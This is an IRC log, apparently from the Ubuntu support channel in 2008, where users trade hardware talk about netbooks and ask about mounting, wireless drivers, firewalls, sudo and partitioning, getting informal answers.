[10:43] <outbackwifi> Babab00ie: 701 with 7" screen
[10:43] <Babab00ie> oh do ya
[10:43] <outbackwifi> Babab00ie: and it has all the features i listed
[10:43] <ActionParsnip> outbackwifi: me too, rocks hard
[10:43] <Babab00ie> what you think of that little beastly thing
[10:43] <outbackwifi> Babab00ie: and it runs Ubuntu !!!
[10:43] <waan> ActionParsnip, cool i'll see if I can add an entry in there also
[10:43] <yusuf__> djkx
[10:44] <yusuf__> exit
[10:44] <Babab00ie> that's cool. i'm looking for something ultra portable with ubuntu.. and as long as it has 802.xx with 10/100 i'm happy
[10:44] <Babab00ie> like you said.. anything worth a grain of salt
[10:44] <waan> ActionParsnip, yeah I think a script would be a better option, i'd rathe not mess with the interfaces
[10:45] <Babab00ie> bbiab i wanna take a look at that asus thing.. google time
[10:45] <outbackwifi> Babab00ie: you are looking to buy an asus 901
[10:45] <Babab00ie> outbackwifi,  how much was that sucker?
[10:45] <outbackwifi> Babab00ie: 399$
[10:45] <Babab00ie> outbackwifi, unsure just looking for ultra portable and ubuntu
[10:45] <Babab00ie> and wanted to check out this ATOM processor thing..
[10:46] <outbackwifi> Babab00ie: asus eeepc 701 has Atom, 802.11n wifi, bluetooth and a battery that runs for 6 hrs
[10:46] <ykphuah> does the eeepc have rj45?
[10:46] <ActionParsnip> Babab00ie: atom is pretty sweet
[10:46] <outbackwifi> of course, didnt i say 10/100?
[10:46] <Babab00ie> good deal
[10:46] <Babab00ie> whats in your asus palmtop
[10:47] <Omeil> anyone running ubuntu with ATI HD card?
[10:47] <EdUdE> cant for me lol
[10:47] <Babab00ie> nevermind outbackwifi google was my friend yet again :-)
[10:47] <hume> how do I add a new directory to my PATH environment variable? (shell = tsh)

[10:50] <gautierh> EvolutionXtinct, yes, 8.04 == version released in April 2008
[10:51] <Babab00ie> outbackwifi,  you think i'm better off with the asus or the dell mini 9 with the atom processor
[10:51] <outbackwifi> my lsb_release -a says this --> Codename: Hardy, release: 8.04
[10:51] <outbackwifi> babab00ie: the asus is also with atom
[10:51] <outbackwifi> asus has been around with their netbook since dec 07
[10:52] <EvolutionXtinct> oh so lsb_release -a tells you that info
[10:52] <EvolutionXtinct> nice
[10:52] <Babab00ie> ah ok i didn't know if it used the atom cpu or not
[10:52] <EvolutionXtinct> i'm just trying to install some themes for gnome
[10:52] <EvolutionXtinct> my eyes are hurting on all these bright themes....
[10:52] <outbackwifi> lol
[10:52] <outbackwifi> Babab00ie: ask your friend about the Asus  eeepc 901

[10:55] <jon_snow> hi, i have installed Stopmotion on AMD64 and i have a problem: stopmotion doesn't start. From shell http://pastebin.ubuntu.com/44846/
[10:55] <Babab00ie> i've noticed that they're really pushing the atom and all related devices towards the teenage market
[10:56] <outbackwifi> thats just marketing spiel
[10:56] <outbackwifi> the atom consumes 2.5w of power
[10:57] <jon_snow> someone can help me?
[10:57] <jon_snow> up
[10:57] <outbackwifi> with a 6600 mah battery, you're looking at over 6 hrs of uptime
[10:58] <Babab00ie> yeah i saw that on asus's website
[10:58] <luqui> Whenever I boot up, it always takes about 2 minutes to get net access.  Any idea what's going on?
[10:58] <Babab00ie> it's pretty cool beans man.. hell my dell laptop 130b only gets 1.5 hours makes and i'm not sure of the mah of the battery.. i do know it's 4 cell though
[10:59] <luqui> I don't think it's a dhcp thing or anything; the little icon in the notification area doesn't even appear.
[11:04] <outbackwifi> also theres something called boot booster which is supposed to speed up boot times
[11:04] <gidna> hi

[11:18] <Ileden>  Hi! I'm having trouble with automatically mounting my MP3-player, and hope somebody can help.
[11:18] <Ileden> the thing is, I can manually mount the device (/dev/sdb1), but trying to directly access it from the Places -> Computer -list only says "Unable to mount location"
[11:18] <erUSUL> Martiini: install libpam-gnome-keyring
[11:18] <erUSUL> !iso | vrang
[11:19] <erUSUL> !burning | vrang
[11:19] <Ileden> with some help, I've figured the problem might be that the USB needs root rights to be automounted
[11:19] <jigp> hello mozilla hanged up.. how to close mozilla?it s now in gray color...
[11:20] <Ileden> since after I've manually mounted the device, I can only write to it with sudo
[11:20] <erUSUL> jigp: killall firefox-bin
[11:20] <Ileden> however, I don't know how to grant required rights
[11:20] <jigp> i cant access Applications, Places , System erUSUL :(
[11:21] <vrang> Thanks, but is there one that you personally use and works?
[11:21] <jigp> eRUSUL is there a shortcut for consol?
[11:21] <erUSUL> jigp: Alt + F2 run xkill
[11:21] <Ileden> so help is appreciated :)
[11:21] <vrang> I could just go and try all in the list until one works
[11:21] <Martiini> erUSUL: thanks .. libpam-gnome-keyring is installed .. but .. i cant figure out what application it is .. is it "Authorisations" under System > Administration
[11:21] <erUSUL> jigp: or gnome-terminal

[11:24] <Filthpig> Hi, I'm having a weird problem with my wireless connection. I have a D-link DWL-G122 rev. C1 usb stick, which does not work ootb on hardy. However, I found a nice little script on the forums that downloaded the latest cvs-snapshot of the serialmanket Ralink-driver, compiled it and set everything up for me in a nice way so I wa up and running very easily and smoothly. However, I did a reinstall of the system (tried tinkering with some other d
[11:24] <Filthpig> istros, didn't like it, came back), and now running this script won't work properly. The driver is dl'ed and compiled, but when the script tries to edit the blacklist it gets permission denied even though it's sudo. I could edit the blacklist manually, and copied the lines from the script, and now it's working, but not with netw. manager :s I also have to do sudo dhclient  wlan0 everytime I turn on the computer.. not a big issue but annoying
[11:24] <Filthpig> ..
[11:25] <neil_d> !pastebin
[11:25] <Filthpig> w00t, lotta text, lol
[11:25] <Martiini> adsf .. how do you type in chinese .. do you type hieroglyphs on keyboard
[11:25] <erUSUL> jamesjeffery: see dmesg to know what device the cdrom is given (probably something like /dev/scd0 or /dev/sr0 )
[11:25] <shadidan> hey guys i need ur help

[11:31] <Ileden> In order to check whether the USB mount issue has to do with rights, I could start file browser as root and see if I can automount the device then. But how do I start the file browser as root?
[11:32] <jamesjeffery> erUSUL: even it i type mount /dev/sda /mnt/cd I get invalid argument

[11:33] <shadidan> ﻿ i have hp laptop ... i can boot from recovery (by pressing f11) and i have vista and ubuntu ..... but today i just want to boot from linux.. but the laptop made boot just from recovery system...
[11:34] <snadge> and if so, how? i've tried all the obvious options including installing sun-jre and openjdk .. but nothing is associated with .jnlp file, and i don't know how to "launch" it
[11:35] <newbe1> I have a Firestarter Firewall question
[11:37] <crlcan81> I have a odd question about Ubuntu's languages. I already know how to setup language support. I've already searched the forums and posted the question there, the language codes when you first install, if there's any way of finding them in the help information or what they are some other way. I ask as for some reason localization on KildClient isn't working so spell checking is not enabled.
[11:37] <crlcan81> So I can manually put the language code.
[11:37] <newbe1> I have some red in the events tab
[11:37] <|_James_Bond_|> HI PPL
[11:38] <crlcan81> ello james
[11:38] <julian_> snadge: thats a java webstart applikation
[11:40] <crlcan81> wow.. silent in here.
[11:40] <mkulke> hello, i have problems to get my mic running on my laptop running the latest ubuntu
[11:40] <Ileden> Ok, here's a second question... How can I edit the format in which dates and times are shown throughout the Ubuntu interface?
[11:40] <Omeil> Anyone know how to make ati drivers run without the white screen problem?
[11:40] <mkulke> it's just mute :/
[11:40] <mkulke> join #canudigit
[11:41] <crlcan81> yah, you just gotta go into volume control once it's enabled and unmute.
[11:41] <snadge> julian_: so the answer is no because there is no sun java webstart for 64bit?
[11:41] <newbe1> I have some red in the events tab in the Firestarter Firewall should i be concerned
[11:41] <crlcan81> that's normal.
[11:41] <julian_> snadge i dont know if there is a java webstart for 64bit
[11:41] <snadge> i just tried some open source javaws .. and it said error in xml file
[11:42] <crlcan81> firestarter tells you EVERYTHING that is attacking your system.
[11:42]  * snadge throws molitov at sun
[11:42] <crlcan81> at first it'll highlight things that haven't attacked this time or the last time the logs were done.
[11:42] <IntangibleLiquid> what's another better synonym for "web-based"?
[11:42] <mkulke> crlcan81: in alsamixer the "Mic" device is red and i can't change the volume level
[11:42] <Sobaka> Hello people. I connect to my ubuntu 8.04 box via freenx/nx client of nomachine with a user with administrator rights and when i want to add a new user then I can't do that via system->Administration->users and groups because the unlock button is grayed out and can't be clicked. What can I do about this?
[11:42] <crlcan81> hmm..
[11:43] <crlcan81> running dt or server?
[11:44] <Sobaka> crlcan81: On that box is running the freenx server, I don't know what dt is
[11:44] <crlcan81> I'm talking to mkulke, I don't know freenx. I'm helping him with his volume issue.
[11:44] <kindofabuzz> Sobaka, can you add a user by command line?
[11:44] <neil_d> hi, I have a problem, gnome operation has changed, I used to be able to activate a window by clicking the mouse anywhere in the window :), but ATM I have to click on the title bar at the top :(  How can I fix this ?
[11:44] <Sobaka> kindofabuzz: Yes I can
[11:45] <kindofabuzz> hmm
[11:45] <mkulke> crlcan81: https://wiki.ubuntu.com/LaptopTestingTeam/HPNX6325#Microphone <- i tried this and confirmed it's the correct soundcard via lspci
[11:45] <mkulke> but still no luck
[11:45] <crlcan81> mkulhe: what's red, the little volume tab below the actual volume?
[11:45] <erbi> wat are some big irc network names?
[11:45] <crlcan81> just do a search on irc
[11:45] <Sobaka> kindofabuzz: When I login directly on the console of the box and I do exactly the same then that button isn't grayed out
[11:45] <kindofabuzz> Sobaka, maybe a setting in freenx is causing it?
[11:46] <Sobaka> kindofabuzz: Maybe, but I can't find what it is, I checked the config
[11:46] <taomaster> hello i don't know about u guys, but i had to go back 2 -7.10. much more stable
[11:47] <kindofabuzz> Sobaka, you probably don't have that user as a freenx user or something like that
[11:47] <crlcan81> I'm on the newest stable build, runs fine for me.
[11:47] <crlcan81> on a 2005 machine too :)
[11:47] <crlcan81> actually mine's 2002.
[11:47] <kindofabuzz> taomaster, 8.04 has ben rock solid for me
[11:47] <xbxb> how do I check what file system a certain mount point has?
[11:48] <kindofabuzz> xbxb, mount can tell you
[11:48] <vrang> Just used gnomebaker to burn an iso to a DVD-R and it shows as empty under WinXP, please help
[11:48] <xbxb> kindofabuzz:  thanks, that did it
[11:48] <kindofabuzz> xbxb, or view your fstab
[11:49] <xbxb> kindofabuzz:  It's mounted dynamically
[11:49] <kindofabuzz> or mtab
[11:49] <crlcan81> Um.. you there mkulke?

[11:59] <timothias> bob1: see your network card in it?
[11:59] <timothias> vrang: and im not sure how, but it sounds like you need to tell gnomebaker to close the session.
[12:00] <bob1> timothias, I see a network card. Linksys. Thats got to be the one. I don't see another plug on the back of the PC.
[12:00] <vrang> timothias: it says it did

[12:00] <jigp> btw
[12:01] <jigp> how to download video tutorials in the website? its a wink movie i guess.miro is not working in wink tutorial video
[12:01] <timothias> bob1: this will take a bit of research, but the next step is to do an   lsmod   and see if your card has a module loaded.
[12:01] <yates> i've added the medibuntu repo and installed the acroread packages, but i still don't get embedded pdf's in my web browser (mozilla). it instead asks me if i want to save the (pdf) file. what am i doing wrong?
[12:01] <vikku> iam installing a pkg using apt-get and geting this err ::  Dynamic MMap ran out of room
[12:01] <timothias> bob1: you'll need to find out what chipset is on the card you have and what module should have loaded, if there is one.
[12:01] <srn> what is the easiest way of patching the orinoco_cs driver, to enable monitor mode?
[12:01] <vikku> can ny one help remove it
[12:01] <bob1> timotnias, OK
[12:02] <timothias> bob1: You familiar with what im talking about?
[12:02] <erUSUL> yates: installed mozilla-acroread ??
[12:02] <bob1> timothias, Not completly but I know my way around.
[12:02] <timothias> timothias: I'd get a look at the card, and see who made the chips, name, and any family/serial/version numbers.
[12:02] <yates> yes
[12:03] <timothias> bob1: I'd get a look at the card, and see who made the chips, name, and any family/serial/version numbers.
[12:03] <yates> i also installed acroread-plugins - was that a mistake?
[12:03] <bob1> timothias, BRB
[12:03] <timothias> bob1: and with that, hit the google with whatever version of linux you are using.
[12:03] <timothias> bob1: but I suspect you are using an unsupported card.
[12:04] <jigp> how to download video tutorials in the website? its a wink movie i guess.miro is not working in wink tutorial video
[12:04] <timothias> bob1: to that end, a good cheap card is 3com's 3c905 series. I wouldnt pay more than a few bucks for it.
[12:05] <bob1> timothias, OK I got some numbers I'll get to googleing. BRB
[12:05] <timothias> bob1: good luck man. :)
[12:05] <timothias> bob1: that machine doesnt have an ethernet port on the board?
[12:06] <yates> i've added the medibuntu repo and installed the acroread packages, but i still don't get embedded pdf's in my web browser (mozilla). it instead asks me if i want to save the (pdf) file. what am i doing wrong?
[12:06] <srn> how do i patch orinoco_cs to enable monitor mode in 8.04?
[12:07] <jamesjeffery> how quickly should the netboot start on computer? I enabled tftp on my OSX, dropped the .iso in /Private/tftpboot and I get No Boot File received.
[12:07] <jamesjeffery> tftp has been started also
[12:09] <nnull> anyone know where i can change the font of my tooltip text -- and -- where i can find the option for gnome panels "minimise on icon click"
[12:09] <nnull> ?
[12:09] <omar> is there an ALSA or OSS API for C++ ?
[12:11] <Hemebond> Why is "Create Document" in Nautilus disabled when using ssh/ftp to a server when the user account I'm using is in a group with write access?
[12:11] <mordof> is there a way to monitor a folder, and then when a new file gets put in to run a quick permission change?
[12:11] <erUSUL> nnull: probably on some hidden key in gconf-editor
[12:11] <mordof> but without it taking too large a hit on resources
[12:11] <Chousuke> omar: you probably want something more high-level than a direct ALSA wrapper :/
[12:11] <Chousuke> omar: like SDL :p
[12:11] <Chousuke> omar: or OpenAL
[12:11] <nnull> erUSUL, kk
[12:11] <omar> Chousuke, it depends on how use of ALSA wrapper is difficult :p
[12:12] <omar> Chousuke, any doc for that ?
[12:12] <Chousuke> I don't know of C++ wrappers for alsa.
[12:13] <omar> then i think i'd better work with SDL as always :(
[12:13] <erUSUL> omar: calling C libs from C++ isn't too hard; is it? (honestly i'm not a programer)
[12:13] <omar> erUSUL, not at all
[12:13] <Chousuke> erUSUL: it's not, but a C API is not optimal for C++ code.
[12:13] <Chousuke> omar: take a look at OpenAL too. I hear it's good.
[12:13] <Chousuke> never used it though.
[12:14] <omar> Chousuke, that's true, and then the program will be half written in C and C++ || Ok i'll check it out
[12:14] <omar> thx
[12:15] <omar> because SDL is not that convenient for a sound processing app :p
[12:15] <erUSUL> omar: also you can go higher on the toolchain ALSA<>Pulseaudio<>Gstreamer. if playback/record is all you need gstreamer may be better
[12:16] <doktoreas> hello everybody
[12:16] <erUSUL> mordof: inotify
[12:16] <omar> erUSUL, does it manages sound input ? ( like microphone or line in or sthg like that ? )
[12:16] <bakarat> hi, i'm trying to migrate my laptop from windows (vista *shiver*) to ubuntu, everything works great so far, except evolution, it can't interact with out exchange 5.5 server it seems, is there any way to do this?
[12:17] <doktoreas> I was inside an ssh session but due a very poor connection I was disconnected
[12:17] <doktoreas> now if I log in back, users show my 2 times

[12:17] <doktoreas> how can I disconenct the old session?
[12:17] <kindofabuzz> doktoreas, i think it's normal to show two
[12:18] <kindofabuzz> for somereason
[12:18] <bakarat> erUSUL: hmm, how does that help me? :p
[12:18] <erUSUL> omar: http://gstreamer.freedesktop.org/apps/
[12:19] <omar> erUSUL, thx :)
[12:19] <erUSUL> bakarat: you want to connect evolution to a exchange server and i pointed out to you a evolution plugin that does exactly that
[12:19] <kindofabuzz> doktoreas, like if you do a who on your local box you will see yourself twice, tty and pts
[12:19] <mordof> erUSUL: ty, i'll check it out
[12:19] <bakarat> erUSUL: actually, the problem is the connector only seems to work exchange 2000 and up, it doesn't seem to work with 5.5
[12:20] <erUSUL> bakarat: you should included that info on the first question ... :|
[12:20] <VirtualVelocity> does anyone know why i could not enable eyecandy for Gnome?
[12:20] <bakarat> erUSUL: hehe, my bad :p
[12:20] <erUSUL> VirtualVelocity: which card do you have? what drivers are you using?
[12:21] <ActionParsnip> yo yo yo
[12:21] <hoslio> hi
[12:21]  * VirtualVelocity is bored
[12:21]  * [nrx] is too
[12:21]  * VirtualVelocity ponders if he should go to bed :(
[12:21] <hoslio> how do I setup local dns for a lan?
[12:21] <VirtualVelocity> hoslio: resolv.conf
[12:22] <VirtualVelocity> /etc/resolv.conf
[12:22] <VirtualVelocity> nano /etc/resolv.conf :D
[12:22] <hoslio> cant do, I have dhcp reseting the clients
[12:22] <VirtualVelocity> anyone famliiar w/ openVPN on ubuntu?
[12:22] <VirtualVelocity> doesn't your DHCP point to a specific DNS?
[12:22] <hoslio> and I need a fixed ip on one printer
[12:23] <VirtualVelocity> i setup static routes
[12:23] <VirtualVelocity> shit thats what 3 of my boxes are doing now w/ a DHCP scope
[12:23] <hoslio> its not a network printer...
[12:23] <VirtualVelocity> just make sure the static IP isn't in the scope
[12:23] <hoslio> I wanted to use Bind, a local dns setup using bind
[12:24] <VirtualVelocity> oh.. sorry not sure haven't had to use bind yet :(
[12:24] <erUSUL> bakarat: check this threath on ubuntu forums http://ubuntuforums.org/showthread.php?s=a6b89ae147f40771b113d40793d2e209&t=238186
[12:24] <VirtualVelocity> I got samba to do full domain integration w/ my linux boxes i'm stoked on that!
[12:24] <VirtualVelocity> lol
[12:24] <napolinet> guys, i've never used ubuntu before: after I installed it, I don't have any root user it seems. how do I act as root ?
[12:24] <jrib> !root | napolinet
[12:24] <VirtualVelocity> you just have to sudo
[12:24] <erUSUL> !sudo | napolinet
[12:25] <bambina> de sam usla ja ovo..
[12:25] <napolinet> ubottu: right, so i have to use sudo instead of switching user to root with su
[12:26] <maek> !de | bambina
[12:26] <mordof> erUSUL: installing inotify looks to be a bit beyond my capabilities
[12:26] <crlcan81> I already checked through the faq, searched for the words there, forum-side and posted a language code question. Curious as to how you'd find out the language code after installation to manually enter it into other programs if localization doesn't work? The three or four letter code that designates the specific region's language code?
[12:26] <bambina> hihih
[12:26] <jrib> napolinet: ubottu is a bot, but yeah
[12:26] <napolinet> jrib: thanks
[12:26] <bambina> me nidjanav  gar niks
[12:26] <lore20> uhm?
[12:27] <bambina> ah
[12:27] <erUSUL> mordof: inotify is a programmers api not an app. if you tell us what you are trying to do we may find a less complicated solution
[12:27] <bakarat> erUSUL: actually went down to service, turns out it's not 5.5 (as evolution error showed), but 2007
[12:27] <hoslio> how do you setup static routes, (which means I know its in the router, I'm just not sure how static routes work)
[12:27] <ActionParsnip> napolinet: ubottu is a bot, sudo when you need admin access for cli apps, use gksu for gui apps
[12:27] <maek> gksudo
[12:28] <erUSUL> hoslio: "man route" or "ip route help"
[12:28] <hoslio> I'm a portuguese user, is there some easy documentation?
[12:28] <Pici> !pt | hoslio may help
[12:29] <mordof> erUSUL: i want it so that when a new file is created in a directory (recursive support preferred), it runs a chown command to set the group properly. WinSCP isn't setting it right no n matter what i try to do.. and i'm getting forbidden access when trying to view files - since my webserver setup requires the group to be set right
[12:29] <ActionParsnip> maek: The man page suggests that the gksu is a wrapper for su while gksudo is a wrapper for sudo
[12:30] <maek> I have no idea what that means
[12:30] <ActionParsnip> maek: http://www.psychocats.net/ubuntu/graphicalsudo
[12:30] <kindofabuzz> !gksudo
[12:30] <maek> all I know is gksudo
[12:31] <ActionParsnip> maek: gksudo uses roots config, gksu will use the users but still grant admin access
[12:31] <hoslio> where can I find a list of most common ports use?
[12:31] <crlcan81> *goes on a forums search again*
[12:31] <kindofabuzz> google
[12:31] <Stotfoldian> Can anyone help a newbie post installation of ubuntu. I cannot see my second hard drive. All personal files are on this disk. Thanks
[12:32] <hoslio> I wanted the commonl linux ports
[12:32] <ActionParsnip> hoslio: http://www.governmentsecurity.org/articles/CommonPorts.php
[12:32] <yates> does ubuntu 8.04 come with a firewall turned on?
[12:32] <crlcan81> nope
[12:32] <ActionParsnip> yates: you can install firestarter
[12:32] <yates> if so, how do i enable a specific port?
[12:32] <maek> ActionParsnip, cheers for explaining that .. Ive learnt something new tonight : )
[12:32] <crlcan81> gotta install firestarter, like pars said.
[12:32] <ActionParsnip> maek: always good
[12:32] <hoslio> does firestarter continues to work when you disconnect it?
[12:33] <crlcan81> nope
[12:33] <rajec> I should like to have colorful terminal(different color for commands and output)
[12:33] <crlcan81> you gotta restart it every time you restart linux or shut it off.
[12:33] <hoslio> so you have to start it all the times?
[12:33] <crlcan81> requires password.
[12:33] <crlcan81> but you can set up that it's a tab in your active tasks and otherwise not active.
[12:34] <napolinet> hi guys, do you know whether ubuntu has the ntfs enabled by default after the installation §?
[12:34] <ActionParsnip> hoslio:  crlcan81: you can add it to automatically startup
[12:34] <gigi66> irc.paradise-irc.net
[12:34] <crlcan81> so will have a thunderbolt with a red background if someoen tries to active.
[12:34] <omar> Chousuke, can you help in C++ ? ( in pm ? )
[12:34] <crlcan81> which command?
[12:34] <ActionParsnip> napolinet: it can read ntfs out of the box, you need ntfs-3g to write
[12:34] <crlcan81> it's like the first thing I activate too.
[12:34] <ActionParsnip> napolinet: you cannt delete or write to files with weird permissions
[12:35] <Joe_le_fourbe> Ubuntu is (I guess) the best linux distribution
[12:35] <crlcan81> The most user friendly I've seen.
[12:35] <ActionParsnip> Joe_le_fourbe: to you maybe, milions would agree, millions would disagree
[12:36] <crlcan81> I like it, won't bash any other linux users. They're more skilled then I.
[12:36] <ActionParsnip> Joe_le_fourbe: but as is life
[12:37] <crlcan81> parsnip: would you know how to find the language codes after ubuntu was already installed so as to manually enable it in other software when localize doesn't seem to pick it up and won't enable spellcheck?
[12:37] <crlcan81> it's on Kildclient
[12:37] <hoslio> what is linux user - 499?
[12:37] <newbe1> I have some red in the events tab in the Firestarter Firewall should i be concerned
[12:38] <ActionParsnip> crlcan81: never had to do it so no idea, sorry
[12:38] <crlcan81> Thought I'd ask.
[12:38] <ActionParsnip> crlcan81: i think you just install aspell and its ok
[12:38] <crlcan81> hmm.. in synaptic?
[12:38] <Filthpig> indeed. I believe Ubuntu's main strength is the superior documentation and user mass which provide help for new users. The Ubuntu philosophy is unsurpassed in the open source world - humanity towards others. The distro itself is far from the most advanced or bleeding edge, but it is good enough, stable enough and has documentation for 99% of your problems.
[12:38] <ActionParsnip> newbe1: depends what they say?
[12:39] <Filthpig> that was aimed at ActionParsnip and Joe_le_fourbe, by the way ;)
[12:39] <newbe1> ActionParsnip:  HTTP  is one
[12:39] <ActionParsnip> Filthpig: thats one aspect of the distro but if something else is needed then its not fantastic
[12:40] <xbxb> what's the difference between /etc/mtab and /etc/fstab?
[12:40] <ActionParsnip> Filthpig: like gentoo can be very robust and stable but takes time to install but the gentoo support is quite decent
[12:40] <ActionParsnip> !mtab | xbxb
[12:40] <xbxb> couldn't find any man pages about it either
[12:40] <ActionParsnip> xbxb: http://www.brunolinux.com/02-The_Terminal/Fstab_and_Mtab.html
[12:41] <xbxb> thanks
[12:41] <jrib> xbxb: 'man mount' is the man page you want
[12:41] <Filthpig> ActionParsnip, yes, and the installation procedure is why gentoo will never compete with the likes of ubuntu and mandriva.
[12:41] <ActionParsnip> Filthpig: why would any distro compete with another
[12:41] <xbxb> jrib: ok, ty
[12:41] <ActionParsnip> Filthpig: its not a competition its getting the distro that suits your needs
[12:42] <crlcan81> how do you setup that you save he password every time it asks for synaptic and firestarter? or is it possible?
[12:42] <crlcan81> and the rest that is.
[12:42] <rajec> what does mean: Failed to build gem native extension when installing Ruby gem under ubuntu.
[12:42] <kindofabuzz> xbxb, http://en.wikipedia.org/wiki/Mtab
[12:42] <ActionParsnip> Filthpig: why do you think they are competing in any way?
[12:43] <crlcan81> for some reason kildclient isn't noticing aspell, cause it is already installed for english.
[12:44] <ActionParsnip> crlcan81: try installing aspell for other languages, try tab completing ;)
[12:44] <crlcan81> hmm?
[12:44] <ActionParsnip> rajec: http://rubyforge.org/pipermail/mongrel-users/2007-April/003540.html
[12:44] <Monster> Hmm, how would I edit the logout options dialog? I want to remove everything apart from Shutdown, Reboot and Logout
[12:44] <ActionParsnip> crlcan81: you can tab complete package names so sudo apt-get install aspell(press tab)
[12:45] <ActionParsnip> Filthpig: you still there?
[12:45] <zezom> any one know how to (if possible) change a samsung sata 2 drive to sata 1? It doesn't have the jumpers to do so.
[12:46] <xbxb> For security reasons I want to mount /var and /tmp on two separate partitions. How big should they be? What's the typical size of a /var or /tmp folder on an often used Linux system?
[12:47] <crlcan81> I did and it said was already newest version.
[12:47] <ActionParsnip> xbxb: du -h /var
[12:47] <ActionParsnip> crlcan81: did you get the option for other languages
[12:47] <ActionParsnip> crlcan81: whe you tab completed?
[12:47] <Filthpig> ActionParsnip, well I didn't mean compete in a PC vs. Mac kind of way, but you know, today Ubuntu is the face of open source to th world, like it or not. If you say "open source" to a man on the street, he will think of Firefox and Ubuntu, not Epiphany and Gentoo, if you get my meaning. And I also guess that it is in all major distro's interest to have as big an usergroup as possible as that will only enhance the distro's quality in terms of
[12:47] <Filthpig>  bugfixing and innovation
[12:48] <crlcan81> typed ﻿sudo apt-get install aspell pressed tab then enter.
[12:48] <xbxb> ActionParsnip:  the version I'm using is a fresh install. Is this value of du representative then?
[12:48] <JonnyWilko> Hey I'm currently dual booting vista with ubuntu and I'd like to if possible to give some of the ubuntu partition back to windows. Can anyone help me out with this?
[12:49] <eth01> themes?
[12:49] <ActionParsnip> xbxb: if you havent mounted it on a seperate partition it will use the space assigned to /
[12:49] <hateball> JonnyWilko: You could try with gparted live-cd, at your own risk
[12:49] <crlcan81> also is saying that there are packages that were autoinstalled and no longer required, should I not touch them? or autoremove em like apt-get said I could?
[12:49] <raheem> http://www.diskinternals.com/linux-reader/
[12:49] <JonnyWilko> I know I tried this sort of thing before and completely lost ubuntu and grub >.< not fun
[12:50] <nabin> hi, can anyone tell me how to write a gdm with both username and password displayed at the same instant
[12:50] <Filthpig> ActionParsnip, yeah I'm here, jI'm just active on several fronts ;)
[12:50] <ActionParsnip> Filthpig: i dont think 1 distro will be dominant or the leader as no users needs are identical, if we all used our computers identically then yes a single OS would work
[12:50] <_paneb_> how do i get the UUID of a partition?
[12:50] <jrib> !uuid > _paneb_
[12:50] <eth01> themes no?
[12:51] <ActionParsnip> Filthpig: unfortunately OSes dont fit human variety hence the thousands of distros of linux
[12:51] <ActionParsnip> Filthpig: if you head to www.distrowatch.org you will see the vast multitude of linux and bsd OSes
[12:51] <crlcan81> *does out of boredom*
[12:51] <ActionParsnip> Filthpig: most notorious doesnt make it "best"
[12:52] <JonnyWilko> but theres a 36GB piece of unallocated space but its in gparted its surrounded by a light blue box. I think its part of extended.
[12:52] <JonnyWilko> *but in gparted
[12:52] <ActionParsnip> JonnyWilko: can we have a pastebin of sudo fdisk -l
[12:52] <ActionParsnip> !paste | JonnyWilko
[12:52] <JonnyWilko> k
[12:53] <Filthpig> ActionParsnip, indeed, and that's what great about the open source world, people can build their linux/bsd/solaris distro of choice, but 90% of the world just wants something that works, and that's why ubuntu/mandriva/fedora/opensuse has the majority of desktop users today.
[12:54] <crlcan81> even a former windoze user like me can admit that.
[12:54] <JonnyWilko> http://paste.ubuntu.com/44877/
[12:54] <ActionParsnip> Filthpig: indeed but there are also people who want to play and optomise
[12:55] <ActionParsnip> Filthpig: its a whole choice but people seem to be jumping on the ubuntu bandwgon due to great press, much like firefox when it was released on windows
[12:56] <crlcan81> if I knew how to I'd probably learn to write my own optomized.
[12:56] <Filthpig> ActionParsnip, indeed, and that's a good thing for innovation, I never said ubuntu was best either, I said it had superior backing in terms of documentation, which is why so many newbies have embraced it instead of, say, mandriva
[12:56]  * ActionParsnip started on mandrake
[12:56] <ActionParsnip> but ill agree with the docs
[12:57] <ActionParsnip> although linux is linux so most of it applies to the other distros (like fstab etc)
[12:57] <ActionParsnip> as long as its a linux kernel
[12:57] <_paneb_> jrib, thanks
[12:57] <ePax> !offtopic
[12:57] <JonnyWilko> did that pastebin help at all?
[12:58] <Filthpig> I've been fiddling with red hat (years ago), mandrake, debian and ubuntu, as I can remember, but where all the other distros saw me swap back to windows, ubuntu made me remove windows from my computer
[12:59] <jrib> ActionParsnip, Filthpig: mind moving the discussion over to #ubuntu-offtopic?
[12:59]  * Filthpig is now shutting up ;)
[13:02] <JonnyWilko> is there any chance of me getting help on this here or would I be better off say posting in the forums?
[13:02] <ActionParsnip> JonnyWilko: reading it now
[13:03] <JonnyWilko> thanks :)
[13:03] <vnix> I have SCIM chinese support installed. How I enable chiense input (type chinese words) thanks

[13:03] <wb> -t vfat
[13:03] <JonnyWilko> yeah its unallocated
[13:04] <wb> quit
[13:04] <wb> GooD Bye
[13:04] <ActionParsnip> JonnyWilko: it is allocated but not formatted
[13:04] <ActionParsnip> JonnyWilko: so whats you issue
[13:05] <JonnyWilko> I want to make that useable by windows as I am currently dualbooting
[13:05] <ActionParsnip> the unallocated space?
[13:05] <JonnyWilko> yes
[13:05] <JonnyWilko> feasible?
[13:06] <ActionParsnip> just remove the partition using fdisk
[13:06] <ActionParsnip> then boot to windows and fire up disk manager
[13:06] <JonnyWilko> ok how would I remove the partition. Sorry I'm quite new to ubuntu
[13:06] <ActionParsnip> you will see it and you can format it and make it a new partition or mount it to an empty folder in windows (much like in linux)
[13:07] <ActionParsnip> JonnyWilko: sudo cfdisk /dev/sda
[13:07] <speaker`> hello,pls help me..how cam i put my script in Xchat..

[13:10] <JonnyWilko> yep it is
[13:10] <JonnyWilko> I think thats Dell's fault
[13:10] <ActionParsnip> JonnyWilko: thats not good
[13:10] <ActionParsnip> JonnyWilko: its always dells fault ;)
[13:10] <JonnyWilko> lol
[13:11] <JonnyWilko> they're both Windows partitions. One is Dell Utility, the other is everything else
[13:11] <JonnyWilko> ie OS
[13:11] <ActionParsnip> JonnyWilko: i dont know how to fix the overlap
[13:12] <ActionParsnip> JonnyWilko: but does cfdisk allow you to delete sda5?
[13:12] <Rev> hello
[13:12] <JonnyWilko> I don't know, I've never used fdisk before
[13:12] <Rev> I tried to compile webkit, and after to update it and i got :
[13:12] <Rev> Unsupported platform, can't determine built library locations. at /home/tdl/WebKit/WebKitTools/Scripts/webkitdirs.pm line 380.
[13:12] <Rev> any idea what could i do?
[13:12] <ActionParsnip> JonnyWilko: actually, if you jump into windows you should be able to see the partition and delete it, just make sure you delete the RIGHT ONE
[13:13] <nitin> dude! plz help, today i had a presentation and was humiliated to shift to vista
[13:13] <nitin> :(
[13:13] <JonnyWilko> thing is last time I tried something like that, it took my entire linux partition
[13:13] <JonnyWilko> spent the weekend getting everything back
[13:13] <ActionParsnip> hmm
[13:13] <nitin> plus in vista i didnt have pdf viewer installed adding to the humiliation
